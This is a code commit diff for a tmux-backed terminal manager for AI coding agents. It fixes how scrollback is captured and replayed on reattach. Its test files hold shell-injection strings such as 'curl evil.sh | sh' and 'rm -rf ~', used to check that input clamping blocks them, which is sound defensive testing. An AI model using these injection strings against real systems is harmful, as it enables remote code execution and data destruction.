Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
fix(terminal): tmux stays on the normal screen; no gap/staircase/dropped output on reattach
enes4a41fe52bf50
diff --git a/src/core/pty-manager.ts b/src/core/pty-manager.tsindex dcb65b6c1..23b401993 100644--- a/src/core/pty-manager.ts+++ b/src/core/pty-manager.ts@@ -65,6 +65,11 @@ setw -g aggressive-resize on# Not our copy path any more (the emulator owns selection), but kept so an app that emits# OSC 52 itself (vim "+y, gh, yazi) still reaches the local clipboard via the client's handler.set -g set-clipboard on+# Keep tmux on the NORMAL screen. By default the client enters the alternate screen+# (\\e[?1049h), which has NO scrollback — xterm's own scrollback and the history we hydrate on a+# warm reattach would both be invisible. Blanking smcup/rmcup (@) makes tmux emit no ?1049 at+# all, so its output flows into the emulator's scrollback and the mouse wheel scrolls it.+set -ga terminal-overrides ',*:smcup@:rmcup@'`}@@ -877,9 +882,14 @@ export class PtyManager {}/**- * Capture a session's scrollback ABOVE the visible screen, for hydrating a fresh emulator on a- * warm reattach (the app restarted; tmux kept running and only redraws the visible screen).- * `-E -1` excludes that visible screen, so the hydration cannot duplicate the redraw.+ * Capture a session's scrollback for hydrating a fresh emulator on a warm reattach (the app+ * restarted; tmux kept running and only redraws the visible screen).+ *+ * The capture INCLUDES the visible screen (no `-E -1`). tmux's attach redraw starts with+ * `\x1b[H\x1b[2J`, and xterm's eraseInDisplay(2) resets the viewport lines IN PLACE — it does+ * not push them into scrollback — so it erases exactly the newest `rows` lines of whatever we+ * just hydrated. Excluding the visible screen would therefore guarantee a one-screenful gap at+ * the seam; capturing it and letting the redraw overwrite it gives neither gap nor duplication.* Best-effort: returns '' when tmux/ssh is unavailable.*/async captureHistory(persistKey: string, lines = HISTORY_LINES): Promise<string> {@@ -905,7 +915,7 @@ export class PtyManager {try {const { stdout } = await runAsync(this.tmuxPath,- ['-L', TMUX_SOCKET, 'capture-pane', '-p', '-e', '-t', sessionName(persistKey), '-S', `-${n}`, '-E', '-1'],+ ['-L', TMUX_SOCKET, 'capture-pane', '-p', '-e', '-t', sessionName(persistKey), '-S', `-${n}`],{ encoding: 'utf-8', maxBuffer: 50 * 1024 * 1024 })return trimToBytes(stdout, HISTORY_MAX_BYTES)diff --git a/src/core/remote-ssh/control-master.test.ts b/src/core/remote-ssh/control-master.test.tsindex 703f82eca..6bd6d3975 100644--- a/src/core/remote-ssh/control-master.test.ts+++ b/src/core/remote-ssh/control-master.test.ts@@ -187,32 +187,36 @@ describe('listDirArgs', () => {})describe('remoteCaptureHistoryArgs', () => {- it('captures history ABOVE the visible screen (-E -1) so the attach redraw is not duplicated', () => {+ it('captures history INCLUDING the visible screen (no -E) so the attach redraw leaves no gap', () => {const args = remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', 5000)const cmd = args[args.length - 1]- expect(cmd).toContain('capture-pane -p -e -t nt-x -S -5000 -E -1')+ expect(cmd).toContain('capture-pane -p -e -t nt-x -S -5000')+ // `-E -1` would exclude the visible screen — but xterm's eraseInDisplay(2) (tmux's attach+ // redraw) resets those viewport lines in place instead of scrolling them into scrollback,+ // so the newest screenful would be lost. Capture it and let the redraw overwrite it.+ expect(cmd).not.toContain('-E')})it('a hostile `lines` value clamped by the caller cannot inject shell (defence in depth)', () => {const n = clampHistoryLines('1; curl evil | sh' as unknown as number)const cmd = remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', n).slice(-1)[0]expect(cmd).not.toContain('curl')- expect(cmd).toContain('capture-pane -p -e -t nt-x -S -5000 -E -1')+ expect(cmd).toContain('capture-pane -p -e -t nt-x -S -5000')})it('clamps at the sink: a hostile value passed DIRECTLY never reaches the command string', () => {// A future call site (IPC handler / Server Edition shell) that forgets the caller-side clamp- // must still not be able to build `tmux … -S -1; curl evil.sh | sh -E -1`.+ // must still not be able to build `tmux … -S -1; curl evil.sh | sh`.const hostile = ['1; curl evil.sh | sh', '1 && rm -rf ~', '$(id)', '`id`', '1\nid'] as unknown as number[]for (const bad of hostile) {const cmd = remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', bad).slice(-1)[0]- expect(cmd, String(bad)).toContain('capture-pane -p -e -t nt-x -S -5000 -E -1')+ expect(cmd, String(bad)).toContain('capture-pane -p -e -t nt-x -S -5000')expect(cmd, String(bad)).not.toMatch(/[;&|`$()\n]/)}})it('clamps out-of-range numbers at the sink (floor 1, ceiling 5000, NaN → default)', () => {const cmdFor = (n: number): string => remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', n).slice(-1)[0]- expect(cmdFor(-1)).toContain('-S -1 -E -1')- expect(cmdFor(10_000_000)).toContain('-S -5000 -E -1')- expect(cmdFor(NaN)).toContain('-S -5000 -E -1')- expect(cmdFor(12.9)).toContain('-S -12 -E -1')+ expect(cmdFor(-1)).toContain('-S -1')+ expect(cmdFor(10_000_000)).toContain('-S -5000')+ expect(cmdFor(NaN)).toContain('-S -5000')+ expect(cmdFor(12.9)).toContain('-S -12')})})diff --git a/src/core/remote-ssh/control-master.ts b/src/core/remote-ssh/control-master.tsindex 972d0bf60..366bcaca1 100644--- a/src/core/remote-ssh/control-master.ts+++ b/src/core/remote-ssh/control-master.ts@@ -78,8 +78,11 @@ export function remoteCapturePaneArgs(conn: SshConnection, controlPath: string,`tmux -L ${RMT_TMUX_SOCKET} capture-pane -p -e -t ${sessionId} -S ${full ? '-' : '-200'}`)}-/** Capture ONLY the history above the visible screen (`-E -1`). tmux redraws the visible screen- * itself on attach, so including it here would print it twice.+/** Capture the session's history INCLUDING the visible screen (deliberately no `-E -1`). tmux's+ * attach redraw begins with `\x1b[H\x1b[2J`, and xterm's eraseInDisplay(2) resets the viewport+ * lines in place rather than scrolling them into scrollback — so it wipes the newest screenful+ * of anything we hydrated. Capturing the visible screen and letting the redraw overwrite it+ * leaves neither a gap nor a duplicate.* `lines` is interpolated into a remote shell command run by the login shell, so it is clamped* HERE, at the injection sink — not left to a caller-side convention that a future call site* (an IPC handler, the Server Edition shell) could forget. `PtyManager.captureHistory` clamps@@ -94,7 +97,7 @@ export function remoteCaptureHistoryArgs(return childArgs(conn,controlPath,- `tmux -L ${RMT_TMUX_SOCKET} capture-pane -p -e -t ${sessionId} -S -${n} -E -1`+ `tmux -L ${RMT_TMUX_SOCKET} capture-pane -p -e -t ${sessionId} -S -${n}`)}export function tmuxProbeArgs(conn: SshConnection, controlPath: string): string[] {diff --git a/src/core/tmux-conf.test.ts b/src/core/tmux-conf.test.tsindex 361805d2f..c280fa4e7 100644--- a/src/core/tmux-conf.test.ts+++ b/src/core/tmux-conf.test.ts@@ -27,6 +27,11 @@ describe('tmuxConf', () => {it('keeps OSC 52 as a safety net for apps that emit it themselves', () => {expect(c).toContain('set -g set-clipboard on')})+ it('keeps tmux on the NORMAL screen (smcup@/rmcup@) so xterm owns the scrollback', () => {+ // Without this, tmux enters the alternate screen (\x1b[?1049h), which has no scrollback:+ // xterm's scrollback + the hydrated tmux history would both be invisible.+ expect(c).toContain(`set -ga terminal-overrides ',*:smcup@:rmcup@'`)+ })it('floors history-limit at 1000', () => {expect(tmuxConf(10)).toContain('set -g history-limit 1000')})@@ -127,6 +132,11 @@ describe('PtyManager.captureHistory (untrusted `lines`)', () => {it('keeps the exact capture command shape on the local path', async () => {await withTmux().captureHistory('n1', 200)- expect(execFileCalls[0].args.join(' ')).toContain('capture-pane -p -e -t nt-n1 -S -200 -E -1')+ const argv = execFileCalls[0].args.join(' ')+ expect(argv).toContain('capture-pane -p -e -t nt-n1 -S -200')+ // The capture INCLUDES the visible screen: xterm's eraseInDisplay(2) (tmux's attach redraw)+ // resets the viewport lines in place instead of scrolling them into scrollback, so an+ // `-E -1` capture would leave a one-screenful gap. tmux's redraw overwrites them instead.+ expect(argv).not.toContain('-E')})})diff --git a/src/renderer/nodes/TerminalNode.tsx b/src/renderer/nodes/TerminalNode.tsxindex 5aead216d..9bd7dd07b 100644--- a/src/renderer/nodes/TerminalNode.tsx+++ b/src/renderer/nodes/TerminalNode.tsx@@ -18,7 +18,13 @@ import { RemoteTransport } from '../terminal/remote-transport'import type { TerminalTransport } from '../terminal/transport'import { patchTerminalScale } from '../terminal/scale-fix'import { parseOsc52 } from '../terminal/osc52'-import { attachReplay, isCopyShortcut, toXtermText, xtermScrollback } from '../terminal/terminal-config'+import {+ attachReplay,+ createDataGate,+ isCopyShortcut,+ toXtermText,+ xtermScrollback+} from '../terminal/terminal-config'import { FindBar } from '../components/FindBar'import { IconSearch, IconChat } from '../components/icons'import { NodeTags } from '../components/NodeTags'@@ -501,10 +507,42 @@ export function TerminalNode({ id, data, selected, parentId }: NodeProps<CanvasNsentRows = term.rowstransport.resize(sid, term.cols, term.rows)}+ // Flow control: track xterm's unprocessed write backlog (bytes handed to+ // term.write but not yet parsed, plus anything still queued in the gate below). Past a+ // high watermark we pause the source so a flood can't grow this buffer without bound;+ // we resume once it drains.+ let pending = 0+ let paused = false+ const HIGH_WATER = 1 << 20 // 1 MB+ const LOW_WATER = 1 << 18 // 256 KB+ const writeChunk = (chunk: string): void => {+ term.write(chunk, () => {+ pending -= chunk.length+ if (paused && pending < LOW_WATER) {+ paused = false+ transport.setFlow(sid, true)+ }+ })+ }+ // Subscribe BEFORE the seed below: main pushes pty data on a timer regardless of+ // listeners and an IPC event with no listener is dropped, while tmux emits its attach+ // redraw within tens of ms — i.e. inside the seed's subprocess/ssh round-trip. The gate+ // queues those chunks until the seed is written, then drains them in order. Queued bytes+ // still count towards `pending`, so a flood during the gap pauses the source.+ const gate = createDataGate(writeChunk)+ const offData = transport.onData(sid, (chunk) => {+ pending += chunk.length+ if (!paused && pending > HIGH_WATER) {+ paused = true+ transport.setFlow(sid, false)+ }+ gate.push(chunk)+ })+ cleanups.push(offData)// Seed the (fresh) emulator with the history it can't see: a cold restart replays the// persisted snapshot (the tmux session died with the machine), a warm reattach pulls- // tmux's own scrollback above the visible screen. Parked terminals get neither — their- // buffer is still correct and seeding it would duplicate content.+ // tmux's own scrollback. Parked terminals get neither — their buffer is still correct+ // and seeding it would duplicate content.const replay = attachReplay({parked: !!parked,fresh,@@ -513,23 +551,28 @@ export function TerminalNode({ id, data, selected, parentId }: NodeProps<CanvasNif (replay === 'cold-snapshot') {const snapshot = await scrollbackPromiseif (disposed) {+ offData()transport.kill(sid)return}if (snapshot) {- term.write(snapshot)+ // The snapshot comes from `capture-pane -p`: LF-separated, no CR bytes. xterm runs+ // with convertEol:false, so writing it raw would render as a staircase.+ term.write(toXtermText(snapshot))term.write('\r\n\x1b[90m── session restored (process ended by a restart) ──\x1b[0m\r\n')}} else if (replay === 'warm-history') {// Warm reattach: tmux redraws only the VISIBLE screen, so everything above it would be- // missing from this fresh xterm. `captureHistory` excludes that visible screen (`-E -1`),- // so hydrating cannot duplicate the redraw. This is the session's REAL history, not a- // restore boundary — it gets no separator line.+ // missing from this fresh xterm. `captureHistory` includes the visible screen too —+ // tmux's redraw (\x1b[H\x1b[2J) erases exactly those lines in place, so it overwrites+ // the tail of what we write here instead of leaving a gap. This is the session's REAL+ // history, not a restore boundary — it gets no separator line.// Requested only now (not prefetched alongside the spawn): for an SSH node the remote// tmux is only reachable once `create()` has registered the session's ssh target — an// earlier call would silently fall through to the LOCAL tmux and return ''.const history = await window.nodeTerminal.pty.captureHistory(id).catch(() => '')if (disposed) {+ offData()transport.kill(sid)return}@@ -540,29 +583,8 @@ export function TerminalNode({ id, data, selected, parentId }: NodeProps<CanvasNterm.write(toXtermText(history))}}- // Flow control: track xterm's unprocessed write backlog (bytes handed to- // term.write but not yet parsed). Past a high watermark we pause the source so- // a flood can't grow this buffer without bound; we resume once it drains.- let pending = 0- let paused = false- const HIGH_WATER = 1 << 20 // 1 MB- const LOW_WATER = 1 << 18 // 256 KB- cleanups.push(- transport.onData(sid, (chunk) => {- pending += chunk.length- if (!paused && pending > HIGH_WATER) {- paused = true- transport.setFlow(sid, false)- }- term.write(chunk, () => {- pending -= chunk.length- if (paused && pending < LOW_WATER) {- paused = false- transport.setFlow(sid, true)- }- })- })- )+ // Seed written — release the PTY output that arrived while it was in flight.+ gate.open()cleanups.push(transport.onExit(sid, (code) => {term.write(`\r\n\x1b[90m[process exited with code ${code}]\x1b[0m\r\n`)diff --git a/src/renderer/terminal/terminal-config.test.ts b/src/renderer/terminal/terminal-config.test.tsindex 69a61411a..c29c698f7 100644--- a/src/renderer/terminal/terminal-config.test.ts+++ b/src/renderer/terminal/terminal-config.test.ts@@ -5,6 +5,7 @@ import {isCopyShortcut,attachReplay,toXtermText,+ createDataGate,type CopyShortcutEvent} from './terminal-config'@@ -54,6 +55,47 @@ describe('toXtermText', () => {})})+describe('createDataGate', () => {+ it('queues chunks that arrive before the gate opens, then drains them in order', () => {+ const written: string[] = []+ const gate = createDataGate((c) => written.push(c))+ gate.push('a')+ gate.push('b')+ expect(written).toEqual([]) // nothing reaches the emulator while the hydration is in flight+ gate.open()+ expect(written).toEqual(['a', 'b'])+ })++ it('writes straight through once open', () => {+ const written: string[] = []+ const gate = createDataGate((c) => written.push(c))+ gate.open()+ gate.push('a')+ gate.push('b')+ expect(written).toEqual(['a', 'b'])+ })++ it('is idempotent on open (a second open cannot replay the queue)', () => {+ const written: string[] = []+ const gate = createDataGate((c) => written.push(c))+ gate.push('a')+ gate.open()+ gate.open()+ expect(written).toEqual(['a'])+ })++ it('keeps ordering when a chunk arrives during the drain', () => {+ const written: string[] = []+ const gate: ReturnType<typeof createDataGate> = createDataGate((c) => {+ written.push(c)+ if (c === 'a') gate.push('b') // re-entrant push while draining+ })+ gate.push('a')+ gate.open()+ expect(written).toEqual(['a', 'b'])+ })+})+describe('xtermScrollback', () => {it('follows the tmux scrollback setting below the cap', () => {expect(xtermScrollback(2000)).toBe(2000)diff --git a/src/renderer/terminal/terminal-config.ts b/src/renderer/terminal/terminal-config.tsindex d9991d452..345355202 100644--- a/src/renderer/terminal/terminal-config.ts+++ b/src/renderer/terminal/terminal-config.ts@@ -49,6 +49,37 @@ export function toXtermText(text: string): string {return text.replace(/\r?\n/g, '\r\n')}+/** A gate that holds PTY chunks back until the emulator has been seeded. */+export interface DataGate {+ /** Queue (while closed) or write straight through (once open). */+ push(chunk: string): void+ /** Drain the queue in arrival order and switch to pass-through. Idempotent. */+ open(): void+}++/**+ * Buffer PTY output that arrives while an async seed (scrollback snapshot / tmux history) is in+ * flight. The main process does NOT buffer: it pushes `pty:data:<sid>` on a timer whether or not+ * anyone is listening, and an IPC event with no listener is simply dropped. So we must subscribe+ * BEFORE awaiting the seed and park the chunks here — on a warm reattach tmux emits its redraw+ * within tens of ms, well inside a subprocess/ssh round-trip. Once the seed is written, `open()`+ * replays the queue in order and later chunks stream straight through.+ */+export function createDataGate(write: (chunk: string) => void): DataGate {+ let queued: string[] | null = []+ return {+ push(chunk) {+ if (queued) queued.push(chunk)+ else write(chunk)+ },+ open() {+ const pendingChunks = queued+ queued = null // pass-through first, so a re-entrant push during the drain stays in order+ pendingChunks?.forEach(write)+ }+ }+}+/** The subset of a KeyboardEvent the copy-shortcut decision looks at. */export interface CopyShortcutEvent {type: stringdiff --git a/src/shared/ssh.test.ts b/src/shared/ssh.test.tsindex 0bd31a065..d12045e44 100644--- a/src/shared/ssh.test.ts+++ b/src/shared/ssh.test.ts@@ -160,6 +160,18 @@ describe('remoteTmuxConf', () => {expect(c).toContain('terminal-overrides')expect(c).toContain('Ms=')})+ it('keeps tmux on the NORMAL screen (smcup@/rmcup@) so the emulator owns the scrollback', () => {+ expect(c).toContain(`set -ga terminal-overrides ',*:smcup@:rmcup@'`)+ })+ it('APPENDS both terminal-overrides (neither clobbers the other)', () => {+ // Both lines must use the append form (`-a`), or the second `set` would replace the first+ // and we would silently lose either OSC 52 or the alternate-screen suppression.+ const lines = c.split('\n').filter((l) => l.includes('terminal-overrides'))+ expect(lines).toHaveLength(2)+ for (const l of lines) expect(l).toMatch(/^set -(ag|ga) terminal-overrides ',/)+ expect(lines.some((l) => l.includes('Ms='))).toBe(true)+ expect(lines.some((l) => l.includes('smcup@:rmcup@'))).toBe(true)+ })it('floors history-limit at 1000', () => {expect(remoteTmuxConf(10)).toContain('set -g history-limit 1000')expect(remoteTmuxConf(50000)).toContain('set -g history-limit 50000')diff --git a/src/shared/ssh.ts b/src/shared/ssh.tsindex cf05bfa16..21710fb68 100644--- a/src/shared/ssh.ts+++ b/src/shared/ssh.ts@@ -104,6 +104,10 @@ set -g destroy-unattached offsetw -g aggressive-resize onset -g set-clipboard onset -ag terminal-overrides ',xterm*:Ms=\\E]52;%p1%s;%p2%s\\007'+# Keep tmux on the NORMAL screen (see tmuxConf): the alternate screen has no scrollback, so the+# emulator's scrollback + the hydrated history would be invisible. APPENDED (-ga), so the OSC 52+# override above survives — a plain non-append set here would replace it.+set -ga terminal-overrides ',*:smcup@:rmcup@'`}